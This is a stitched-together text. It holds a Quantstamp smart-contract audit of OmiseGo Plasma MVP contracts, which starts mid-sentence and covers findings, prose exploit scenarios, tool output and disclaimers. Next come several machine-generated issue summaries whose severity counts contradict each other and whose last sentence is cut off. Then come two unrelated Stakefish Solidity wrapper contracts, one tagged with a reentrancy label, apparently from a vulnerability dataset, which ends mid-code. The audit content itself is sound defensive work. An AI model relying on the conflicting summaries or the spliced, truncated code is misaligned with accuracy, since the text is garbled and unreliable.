Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best-practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security,and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts.Toolset The below notes outline the setup and steps performed in the process of this audit. SetupTesting setup: •Oyente v1.2.5 •Mythril v0.2.7 •truffle-flattener v0.18.9 •MAIAN commit: ab387e1 •SecurifyQuantstamp Audit Breakdown Assessment Deposit Block Can Be Written Past CHILD_BLOCK_INTERVAL Status: Fixed Contract(s) affected: RootChain.sol Severity: HighDescription: The contract RootChain.sol uses the constant CHILD_BLOCK_INTERVAL to distinguish between child chain and deposit blocks. It protects against reorgs, i.e., block and transaction order changing on the root chain. Reorgs can lead to spurious invalidity of the child chain. The check in line 161, however, can be bypassed and, consequently, the invariant that deposit blocks should never appear in child block indices and vice-versa can be violated. We note that the issue may be exploited by a malicious token contract which can be added by any user. Exploit Scenario: 1. Add malicious token contract to RootChain.sol via the function addToken() . 2.depositFrom() calls transferFrom() (line 164). 3.transferFrom() of a malicious token calls deposit() multiple times till currentDepositBlock == CHILD_BLOCK_INTERVAL - 1 . 4.transferFrom() returns true allowing writeDepositBlock() to increment currentDepositBlock beyond CHILD_BLOCK_INTERVAL . 5. This allows a malicious token to enable transfers without a real deposit as the deposit block will be overwritten by the next submitted plasma block. Recommendation: Add require check of currentDepositBlock < CHILD_BLOCK_INTERVAL to writeDepositBlock() .Anybody May Initiate Deposit on Behalf of the Owner Status: Fixed Contract(s) affected: RootChain.sol Severity: Low Description: The function depositFrom() takes owner as parameter instead of relying on msg.sender . Consequently, once an allowance is approved, anybody may initiate a deposit on behalf of the owner at any time, even against the actual owner's will. Recommendation: Remove the parameter owner from depositFrom() and rely on msg.sender instead.Malicious Token transfer() Function May Block All the Subsequent Exits for the Given Token Contract(s) affected: RootChain.sol Severity: High Description: Correct handling of exits is crucial for the overall security of Plasma chains. A malicious token contract may block all the subsequent exits for the given token by performing a DOS attack from within the function finalizeExits() . Exploit Scenario: 1. Add malicious token contract to RootChain.sol via the function addToken() . 2.finalizeExits() calls transfer() (line 297). 3.transfer() intentionally returns false . 4.finalizeExits() gets reverted undoing queue.delMin() (line 289). Recommendation: Let only the Plasma operator add token contracts which are known to be non-malicious. Violation of checks-effects-interactions Pattern Contract(s) affected: RootChain.sol Severity: InformationalDescription: In the function finalizeExits() , the loop body (lines 287-307) allows the token transfer() call (line 297) to violate checks-effects-interactions pattern, which states that interactions with other contracts should happen at the very end of the function. Consequently transfer() may re-enter finalizeExits() . Recommendation: Consider storing external transfers and start processing them after the loop. Alternatively, use a modifier that prevents re-entrancy into finalizeExits() . Clone-and-Own Contract(s) affected: ERC20.sol, ERC20Basic.sol, Math.sol, SafeMath.sol, StandardToken.sol, Ownable.sol, ECRecovery.sol, MintableToken.sol, PriorityQueue.sol, RootChain.sol, RLP.sol Severity: Informational Description: The codebase relies on the clone-and-own approach for code reuse. The clone-and-own approach involves copying and adjusting open source code at one's own discretion. From the development perspective, it is initially beneficial as it reduces the amount of effort. However, from the security perspective, it involves some risks as the code may not follow the best practices, may contain a security vulnerability, or may include intentionally or unintentionally modified upstream libraries. For example, although unused, the function copy() in RLP.sol has an incorrect implementation in line 203, where mload(dest) should be replaced by mload(src) . Recommendation: Rather than the clone-and-own approach, a good industry practice is to use the npm and Truffle framework for managing library dependencies. This eliminates the clone-and-own risks yet allows for following best practices, such as, using libraries. Furthermore, we recommend: • using OpenZeppelin implementations of the following contracts: ERC20.sol , ERC20Basic.sol , Math.sol , SafeMath.sol (the current OpenZeppelin implementation uses require instead of assert statements), StandardToken.sol (approve(), increaseApproval(), decreaseApproval() should have a check for spender != address(0)), Ownable.sol, ECRecovery.sol, and MintableToken.sol . • use Ownable for PriorityQueue.sol and RootChain.solMultiple Invocations of startFeeExit() Could Potentially Block Other Exists Contract(s) affected: RootChain.sol Severity: InformationalDescription: If currentFeeExit becomes large enough and there are 2^128 invocations of startFeeExit() , the fee exits UTXO position may clash with other exits (regular exists and deposit exists) since there is no validation that _utxoPos , should be less than 2^128. Otherwise, the bitwise OR in addExitToQueue() will affect the exitable_at value. Consequently, one can block the other exits. We consider this attack mostly theoretical since the number of required startFeeExit() invocations is impractically large. Legacy Function Modifiers Contract(s) affected: ERC20.sol, ERC20Basic.sol, StandardToken.sol, BasicToken.sol, Validate.sol Severity: InformationalDescription: Multiple functions are marked as constant. Furthermore checkSigs() in Validate.sol is marked as internal . Recommendation: Mark the constant functions as view s. Mark checkSigs() as pure . Unnamed Constants Contract(s) affected: PlasmaRLP.sol, RootChain.sol Severity: InformationalDescription: Magic numbers, e.g., 1000000000 and 10000, are used across contracts. Recommendation: Define named constants to improve code documentation and decrease the probability of making typo errors. Operator Can Exit Any Amount They Want Contract(s) affected: RootChain.sol Severity: InformationalDescription: Fees in the contract are implicit. The function startFeeExit() allows the operator to exit any amount they want, since the amount is specified as a parameter. The fees will be withdrawn from the same pool that holds users' funds. According to the specification, watchers must keep observing the contract to detect possible fraud and exit users’ funds. Unlocked Pragma Contract(s) affected: RootChain.sol, PlasmaRLP.sol Severity: InformationalDescription: Every Solidity file specifies in the header a version number of the format pragma solidity (^)0.4.* . The caret ( ^) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version and above, hence the term "unlocked." Recommendation: For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Supplement the code with Truffle project Severity: Informational Description: Truffle is a prominent tool used for organizing Solidity code projects. It helps to manage dependencies, run tests, and process the code with other tools. Recommendation: We recommend supplementing the code with Truffle project. For new tests, it would help to measure the code coverage (via solidity- coverage tool), as well as get more inputs for the gas cost analysis. Use require instead of assert for argument validation Contract(s) affected: Validate.sol Severity: Informational Description: The function checkSigs() uses assert to report post-validate oindex . Recommendation: We recommend replacing the use of assert with require at the beginning of the function, and then explicitly return false in line 27.Gas Usage / for Loop Concerns Contract(s) affected: RootChain.sol, PriorityQueue.sol Severity: Informational Description: Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. Below, we answer few questions related to gas usage. We use the PriorityQueue.sol contract operations as a proxy for the entire RootChain.sol contract for calculating bounds on the number of operations due to gas consumption.Q: How large can the queue be before insert() or delMin() exceed the block gas limit? A: Assuming: • the block gas limit is 8,000,000, and• the upper bound cost of executing insert() or delMin() for a queue of size N is 21,000 + 26,538 + 6,638 * floor(log(2, N)), the queue would have to be longer than 2^1199, which, in a real-world setting, seems like an unrealistically large number. Q: What is the maximum size of the queue in 2 weeks? A: Assuming: • the block gas limit is 8,000,000,• the upper bound cost of executing insert() for a queue of size N is 21,000 + 26,538 + 6,638 * floor(log(2, N)), and • within 2 weeks Ethereum would produce 80,640 blocks containing only insertion operations, the queue would contain at least 3,599,959 deposits. The number of deposits could be higher if insert() uses less gas than the assumed upper bound. Q: How long does it take to exit the 2 week volume? A: Assuming: • the block gas limit is 8,000,000, • the queue contains 3,599,959 elements, • the upper bound cost of executing delMin() for a queue of size N is 21,000 + • 26,538 + 6,638 * floor(log(2, N)), and • Ethereum blocks contain no other operations besides delMin(), it would take 79,868 blocks (each containing between 43 and 90 exits), i.e., almost 2 weeks. Recommendation: As exits of users' funds are critical in Plasma, we would like to recommend extending the watcher with functionality that assesses and informs users about: • how long it would take to exit funds, and • for a given user's funds, how many exits need to be processed before they can exit. Omisego Plasma MVP Contract Security CertificateTest Results Automated Analyses Test Suite Results $ make test python -m pytest=============== test session starts ===============platform darwin -- Python 3.6.4, pytest-3.4.2, py-1.5.2, pluggy-0.6.0rootdir: /Users/mderka/Repos/omg/plasma-contracts, inifile:plugins: cov-2.5.1collected 79 items tests/contracts/priority_queue/test_priority_queue.py ........... [ 13%]tests/contracts/rlp/test_plasma_core.py .......[ 22%]tests/contracts/rlp/test_rlp.py ..[ 25%]tests/contracts/root_chain/test_challenge_standard_exit.py .......[ 34%]tests/contracts/root_chain/test_deposit.py ....... [ 43%]tests/contracts/root_chain/test_exit_from_deposit.py .....[ 49%]tests/contracts/root_chain/test_fee_exit.py ..[ 51%]tests/contracts/root_chain/test_long_run.py s[ 53%]tests/contracts/root_chain/test_process_exits.py ............. [ 69%]tests/contracts/root_chain/test_start_standard_exit.py ........ [ 79%]tests/contracts/root_chain/test_submit_block.py .. [ 82%]tests/contracts/root_chain/test_tokens.py .. [ 84%]tests/utils/test_fixed_merkle.py ............ [100%] =============== 78 passed, 1 skipped in 167.41 seconds =============== rm -fr .pytest_cache Code Coverage We were unable to measure code coverage due to lack of automated tools.Oyente Repository: https://github.com/melonproject/oyente Oyente is a symbolic execution tool that analyzes the bytecode of Ethereum smart contracts. It checks if a contract features any of the predefined vulnerabilities before the contract gets deployed on the blockchain. Oyente Findings Oyente reported integer overflow issues in the contract RootChain.sol. Upon closer inspection, we classified them as false positives. MythrilRepository: https://github.com/ConsenSys/mythril Mythril is a security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Mythril Findings Mythril reported the following issues: • the use of assert in place of require in SafeMath.sol functions. It is a known and benign issue with former Open Zeppelin implementations. • potential integer overflows in the contract RootChain.sol . Upon closer inspection, we classified them as false positives. • execution of the function transfer() on a user-provided token contract. As described in the section Vulnerabilities, it may result in re-entrancy attackson the contract. • multiple calls to transfer() in a single transaction in the contract RootChain.sol in the function finalizeExits() . • violation of checks-effects-interactions pattern (described in the section Vulnerabilities). MAIAN Repository: https://github.com/MAIAN-tool/MAIAN MAIAN is a tool for automatic detection of trace vulnerabilities in Ethereum smart contracts. It processes a contract's bytecode to build a trace of transactions to find and confirm bugs. MAIAN Findings MAIAN reported no issues. SecurifyRepository: https://github.com/eth-sri/securify Securify Findings Securify reported the following issues: • reentrant method call in the contract RootChain.sol (discussed in the section Vulnerabilities) • unrestricted write to storage in the contracts PriorityQueue.sol and RootChain.sol . Upon closer inspection, we classified them as false positives. • division before multiplication in the function startExit() in the contract RootChain.sol . Upon closer inspection, we classified it as a false positive. • unsafe call to untrusted contract, i.e., execution of the function transfer() on a user-provided token contract. As described in the section Vulnerabilities, it may result in re-entrancy attacks on the contract. • unsafe dependence on block information in the contract RootChain.sol . Upon closer inspection, we classified it as a false positive.The code mostly adheres to the specification. The specification lists simplifying assumption and explains that certain features will be available in future iterations of Plasma. Code DocumentationThe specification provides enough information to document the design and functionality of this Plasma implementation. The code, on the other hand, lacks functions and parameters descriptions. We recommend documenting the code to make it easier it to understand. Minor issues: • contract Math.sol , line 6 says "Math operations with safety checks that throw on error". There are no errors thrown from the function in this contract. • contract PlasmaRLP.sol , line 15 says “Public Functions”. All the functions are marked as internal , not public .Adherence to Specification File Signatures ContractsAppendix contracts/StandardToken.sol: e7e12ad1dfa1bafacf6344fc9a224607d21022ca0c27bc6581cd6c5c3b09b452contracts/RootChain.sol: 32d01c35688fa585e567c554dd8d4af46869f5ebe09ecfb8d14aec868352bf7bcontracts/ERC20.sol: 5145438d41545f1cccc95d55254f57b3bc81d68da3f9ef4d116bfae55d332104contracts/Ownable.sol: 65c0baa6928524d0ed5e52d48896517f80ee4daf32567ead41129abb1f10c7d7contracts/PlasmaRLP.sol: 1a44f5b4feb6b056fd8d74db6e251ddda03dba6b1adb7d8a9ddcf6bf78e60df6contracts/SafeMath.sol: e264a7d045e91dc9ba0f0bb5199e07ecd250343f8464cc78c9dc3a3f85b075eacontracts/RLP.sol: b19cb751b112df6019d47e51308c8869feecf1f02fad96c4984002638546d75dcontracts/ERC20Basic.sol: 5c1392929d1a8c2caeb33a746e83294d5a55d7340c8870b2c829f4d7f6ed9434contracts/PlasmaCoreTest.sol: 5546ea35adf9b5125dd0ff31e181ea79a65c6fcc90cb07916bf1076ba3c858f8contracts/ECRecovery.sol: 75ed455845e003bc54a192239eeccb55d7b903e6ad3e88d78e7179b54ab46f7fcontracts/Validate.sol: 3516c8eb6feb7aa15c2a3dbcc5e0af43d0b63ce55411dccc3dd2962807392e67contracts/BasicToken.sol: ef72ee7dadaea54025fd939d0bee23b0d29a278d29b4542360b5ecf783fecf68contracts/PlasmaCore.sol: 059bc9060210e0d4ab536a52e66ded1252b7999c67c7dab8f4364432a0cae001contracts/RLPTest.sol: 0eac6636e98d5f6a4f339136f6db7f41f7ac23221ae951b0e15e3eefa39cabe6contracts/Merkle.sol: edcb7231316beef842ad158d574f803a0ac1df755e84919f0f7a6a332dbea9b2contracts/Math.sol: 2658a2d9ca772268a47dc3ca42b03e8c8181ff4667a4f980843588d0c5a70412contracts/ByteUtils.sol: ea966e98d3e3c4c484f3d144ca2e76e7acdc8dbae84e685bc554ce9de4a9ab01contracts/MintableToken.sol: cc4d0a06c40f86926ddcb5cb19bf8b219794313f6754b5b6be856b73465c835ccontracts/PriorityQueue.sol: 006123b56ea6adc32ad4878900e76456af6ae469baa79ad29b8c32adb88e47c3Tests tests/conftest.py: 708eb79cb3ae6cd24317ca43edafa4b6abcd2835696e942161ebe0eb027be25btests/contracts/root_chain/test_challenge_standard_exit.py: b0391ba594526ee0f23e0233162a2c9dcc42ef28112ecf2053cb8c680722d059tests/contracts/root_chain/test_deposit.py: bac756caed71d8b1013b77bd96fba5c2ca6998b485cbc58a7c5f2722d12267fctests/contracts/root_chain/test_start_standard_exit.py: 6be00c1906f35dd4f812d5afb8a01953becd7d363c53555b80139cd20e61d76ctests/contracts/root_chain/test_process_exits.py: c29e79ac6ade42272e11a77c3c072d2d80d71edb023ba2c25b322d0d8d8a31c1tests/contracts/root_chain/test_exit_from_deposit.py: b2e9789729dc90931208d2692d28607fcd0e222f96f7da3c64b3fbe8551d4066tests/contracts/root_chain/test_fee_exit.py: 725c394b7ccc9eabf4a15de95308a21147c062f36ecf53ad8fb21fe5c5491194tests/contracts/root_chain/test_submit_block.py: 20dcdaa37a6636b3fd40c0d71ba81d52744eb2b2ba36ee9d36e1e41e5f55b0a3tests/contracts/root_chain/test_tokens.py: de487397040c3f61426d7c59583c8e85451ac49a48a20a163ec29c0fb67aab38tests/contracts/root_chain/test_long_run.py: e5ae985d426d00f87f7074e172f74d02e899fe68c801ed12b416b197ec3979datests/contracts/priority_queue/test_priority_queue.py: 0513902ae4a464312651742ebc07472ee1a925632f4d34692343331d79c46c6ftests/contracts/rlp/test_rlp.py: ea73d7293db958cef2664d167c623d8852fe3d5020ac8d1469905c164a5ff64ctests/contracts/rlp/test_plasma_core.py: edf18eed0362b2a2985ae3cf269146c763a07cb3a4c5a12e1ef0cdbe6d37dfdctests/utils/test_fixed_merkle.py: 088a8dfde088a9272f18daca6c798879990a57cd9e01c08e27705c91153f67bb Steps Taken to Run the Full Test Suite and Tools • Installed Truffle: npm install -g truffle • Installed Ganache: npm install -g ganache-cli • Installed the solidity-coverage tool (within the project's root directory): npm install --save-dev solidity-coverage • Ran the coverage tool from the project's root directory: ./ node_modules/.bin/solidity-coverage • Flattened the source code using truffle-flattener to accommodate the auditing tools. • Installed the Mythril tool from Pypi: pip3 install mythril • Ran the Mythril tool on each contract: myth -x path/to/contract • Installed the Oyente tool from Docker: docker pull luongnguyen/oyente • Migrated files into Oyente (root directory): docker run -v $(pwd):/tmp - it luongnguyen/oyente • Ran the Oyente tool on each contract: cd /oyente/oyente && python oyente.py /tmp/path/to/contract • Ran the MAIAN tool on each contract: cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol Quantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits.To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation.About Quantstamp Purpose of report The scope of our review is limited to a review of Solidity code and only the source code we note as being within the scope of our review within this report. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity that could present security risks. The report is not an endorsement or indictment of any particular project or team, and the report does not guarantee the security of any particular project. This report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. Specifically, for the avoidance of doubt, this report does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of this project or team, and it is not a guarantee as to the absolute security of the project. DisclaimerWhile Quantstamp delivers helpful but not-yet-perfect results, our contract reports should be considered as one element in a more complete security analysis. A warning in a contract report indicates a potential vulnerability, not that a vulnerability is proven to exist.Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by QTI; however, QTI does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp Technologies Inc. (QTI). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that QTI are not responsible for the content or operation of such web sites, and that QTI shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that QTI endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. QTI assumes no responsibility for the use of third-party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Notice of confidentialityThis report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These material are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp.DisclosureThe repository implements tests using python instead of the standard Javascript test suite. As the used toolset does not provide means of measuring the test coverage, the Quantstamp team inspected the implemented tests manually. The implemented tests all pass and we consider the individual test cases reasonable. We found one issue in the test case test_priority_queue_insert_spam_does_not_elevate_gas_cost_above_200 k (file test_priority_queue.py , line 62). The statement while gas_left < 0 should be replaced by while gas_left > 0.
Issues Count of Minor/Moderate/Major/Critical - Minor: 10 - Moderate: 0 - Major: 2 - Critical: 0 Minor Issues 2.a Problem: Violation of child block intervals that are meant to protect against reorgs (fixed in commit 3cc6097) 2.b Fix: Commit 3cc6097 Moderate None Major 4.a Problem: Possibility of carrying out a denial of service attack on exits 4.b Fix: None Critical None Observations - The contracts provide a prototype implementation of Plasma - Quantstamp has found some important issues with the code - The risk is relatively small and could not be exploited on a recurring basis Conclusion The audit conducted by Quantstamp revealed some important issues with the code, notably: violation of child block intervals that are meant to protect against reorgs and a possibility of carrying out a denial of service attack on exits. The risk is relatively small and could not be exploited on a recurring basis. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major: 4.a Problem: Deposit Block Can Be Written Past CHILD_BLOCK_INTERVAL in RootChain.sol 4.b Fix: Fixed Observations: The contract RootChain.sol uses the constant CHILD_BLOCK_INTERVAL to distinguish between child chain and deposit blocks. It protects against reorgs, i.e., block and transaction order changing on the root chain. Conclusion: The check in line 161 of RootChain.sol can be bypassed and, consequently, the invariant that deposit blocks should never appear in child block indices and vice-versa can be violated. We note that the issue may be exploited by a malicious token contract which can be added by any user. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 1 Critical: 0 Minor Issues: 2.a Problem: depositFrom() calls transferFrom() (line 164). 2.b Fix: Remove the parameter owner from depositFrom() and rely on msg.sender instead. Moderate: 3.a Problem: transferFrom() returns true allowing writeDepositBlock() to increment currentDepositBlock beyond CHILD_BLOCK_INTERVAL. 3.b Fix: Add require check of currentDepositBlock < CHILD_BLOCK_INTERVAL to writeDepositBlock(). Major: 4.a Problem: Malicious token transfer() function may block all the subsequent exits for the given token. 4.b Fix: Let only the Plasma operator add token contracts which are known to be non-malicious. Observations: - Codebase relies on the clone-and-own approach for code reuse. - Violation of checks-effects-interactions pattern in the function finalizeExits(). Conclusion: The report has identified 1 minor, 1 moderate and 1 major issue in
// Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.4; import "./interfaces/IERC20.sol"; import "./interfaces/IStakefishServicesContract.sol"; import "./libraries/ReentrancyGuard.sol"; import "./libraries/Initializable.sol"; contract StakefishERC20Wrapper is IERC20, ReentrancyGuard, Initializable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address payable private _serviceContract; string private _name; string private _symbol; uint256 private _totalSupply; uint256 private constant DECIMALS = 18; event Mint(address indexed sender, address indexed to, uint256 amount); event Redeem(address indexed sender, address indexed to, uint256 amount); function initialize( string memory name_, string memory symbol_, address payable serviceContract ) public initializer { _name = name_; _symbol = symbol_; _serviceContract = serviceContract; } // Wrapper functions function mintTo(address to, uint256 amount) public nonReentrant { require(amount > 0, "Amount can't be 0"); _mint(to, amount); bool success = IStakefishServicesContract(_serviceContract).transferDepositFrom( msg.sender, address(this), amount ); require(success, "Transfer deposit failed"); emit Mint(msg.sender, to, amount); } function mint(uint256 amount) external { mintTo(msg.sender, amount); } function redeemTo(address to, uint256 amount) public nonReentrant { require(amount > 0, "Amount can't be 0"); _burn(msg.sender, amount); bool success = IStakefishServicesContract(_serviceContract).transferDeposit( to, amount ); require(success, "Transfer deposit failed"); emit Redeem(msg.sender, to, amount); } function redeem(uint256 amount) external { redeemTo(msg.sender, amount); } // ERC20 functions function transfer(address to, uint256 amount) external override returns (bool) { _transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) external override returns (bool) { uint256 currentAllowance = _allowances[from][msg.sender]; // It will revert if underflow _approve(from, msg.sender, currentAllowance - amount); _transfer(from, to, amount); return true; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue); return true; } function decimals() public pure returns (uint256) { return DECIMALS; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _transfer( address from, address to, uint256 amount ) internal { require(to != address(0), "Transfer to the zero address"); _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } function _approve( address owner, address spender, uint256 amount ) internal { require(spender != address(0), "Approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _mint(address owner, uint256 amount) internal { require(owner != address(0), "Mint to the zero address"); _totalSupply += amount; _balances[owner] += amount; emit Transfer(address(0), owner, amount); } function _burn(address owner, uint256 amount) internal { require(owner != address(0), "Burn from the zero address"); _totalSupply -= amount; _balances[owner] -= amount; emit Transfer(owner, address(0), amount); } } // Copyright (C) 2021 BITFISH LIMITED // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.4; import "./interfaces/IERC721.sol"; import "./interfaces/IERC721Receiver.sol"; import "./interfaces/IStakefishServicesContract.sol"; import "./libraries/Address.sol"; import "./libraries/ReentrancyGuard.sol"; contract StakefishERC721Wrapper is IERC721, ReentrancyGuard { using Address for address; mapping(uint256 => address) private _servicesContracts; mapping(uint256 => uint256) private _deposits; mapping(uint256 => address) private _owners; mapping(uint256 => address) private _tokenApprovals; mapping(address => uint256) private _balances; mapping(address => mapping(address => bool)) private _operatorApprovals; uint256 private _totalMinted; event Mint(address indexed servicesContract, address indexed sender, address indexed to, uint256 amount, uint256 tokenId); event Redeem(address indexed servicesContract, address indexed sender, address indexed to, uint256 amount, uint256 tokenId); // ERC165 function supportsInterface(bytes4 interfaceId) public pure override returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC165).interfaceId; } // Wrapper functions /// @dev It can be tricked into performing external calls to a malicious contract, /// but the token system for each service servicesContract is entirely separate. // SWC-Reentrancy: L53-L71 function mintTo(address servicesContract, address to, uint256 amount) public nonReentrant returns (uint256) { require(amount > 0, "Amount can't be 0"); uint256 tokenId = _safeMint(to, ""); _servicesContracts[tokenId] = servicesContract; _deposits[tokenId] = amount; bool success = IStakefishServicesContract(payable(servicesContract)).transferDepositFrom( msg.sender, address(this), amount ); require(success, "Transfer deposit failed"); emit Mint(servicesContract, msg.sender, to, amount, tokenId); return tokenId; } function mint(address servicesContract, uint256 amount) external returns (uint256) { return mintTo(servicesContract, msg.sender, amount); } /// @dev It can be tricked into performing external calls to a malicious contract, /// but the token system for each service servicesContract is entirely separate. function redeemTo(uint256 tokenId, address to) public nonReentrant { require(msg.sender == _owners[tokenId], "Not token owner"); _burn(tokenId); address servicesContract = _servicesContracts[tokenId]; uint256 amount = _deposits[tokenId]; bool success = IStakefishServicesContract(payable(servicesContract)).transferDeposit( to, amount ); require(success, "Transfer deposit failed"); emit Redeem(servicesContract, msg.sender, to, amount, tokenId); } function redeem(uint256 tokenId) external { redeemTo(tokenId, msg.sender); } function getTotalMinted() public view returns (uint256) { return _totalMinted; } function getDeposit(uint256 tokenId) public view returns (uint256) { require(_owners[tokenId] != address(0), "Token does not exist"); return _deposits[tokenId]; } function getServicesContract(uint256 tokenId) public view returns (address) { require(_owners[tokenId] != address(0), "Token does not exist"); return _servicesContracts[tokenId]; } // ERC721 functions function transferFrom( address from, address to, uint256 tokenId ) public override { require(_isApprovedOrOwner(msg.sender, tokenId), "Not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public override { require(_isApprovedOrOwner(msg.sender, tokenId), "Not owner nor approved"); _safeTransfer(from, to, tokenId, data); } function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } function approve(address to, uint256 tokenId) public override { address owner = _owners[tokenId]; require(to != owner, "Approval to current owner"); require( msg.sender == owner || isApprovedForAll(owner, msg.sender), "Not owner nor approved for all" ); _approve(to, tokenId); } function setApprovalForAll(address operator, bool approved) public override { require(operator != msg.sender, "Approve to caller"); _operatorApprovals[msg.sender][operator] = approved; emit ApprovalForAll(msg.sender, operator, approved); } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "Balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "Owner query for non-existent token"); return owner; } function getApproved(uint256 tokenId) public view override returns (address) { require(_owners[tokenId] != address(0), "Approved query for non-existent token"); return _tokenApprovals[tokenId]; } function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } function _mint(address to) internal returns (uint256) { require(to != address(0), "Mint to the zero address"); uint256 tokenId = _totalMinted; _totalMinted += 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); return tokenId; } function _safeMint(address to, bytes memory data) internal returns (uint256 tokenId) { tokenId = _mint(to); require( _checkOnERC721Received(address(0), to, tokenId, data), "Transfer to non ERC721Receiver" ); } function _burn(uint256 tokenId) internal { address owner = _owners[tokenId]; _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal { require(_owners[tokenId] == from, "From is not token owner"); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory data ) internal { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, data), "Transfer to non ERC721Receiver"); } function _approve(address to, uint256 tokenId) internal { _tokenApprovals[tokenId] = to; emit Approval(_owners[tokenId], to, tokenId); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = _owners[tokenId]; require(owner != address(0), "Operator query for non-existent token"); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory data ) internal returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("Transfer to non ERC721Receiver"); } else { assembly { revert(add(32, reason), 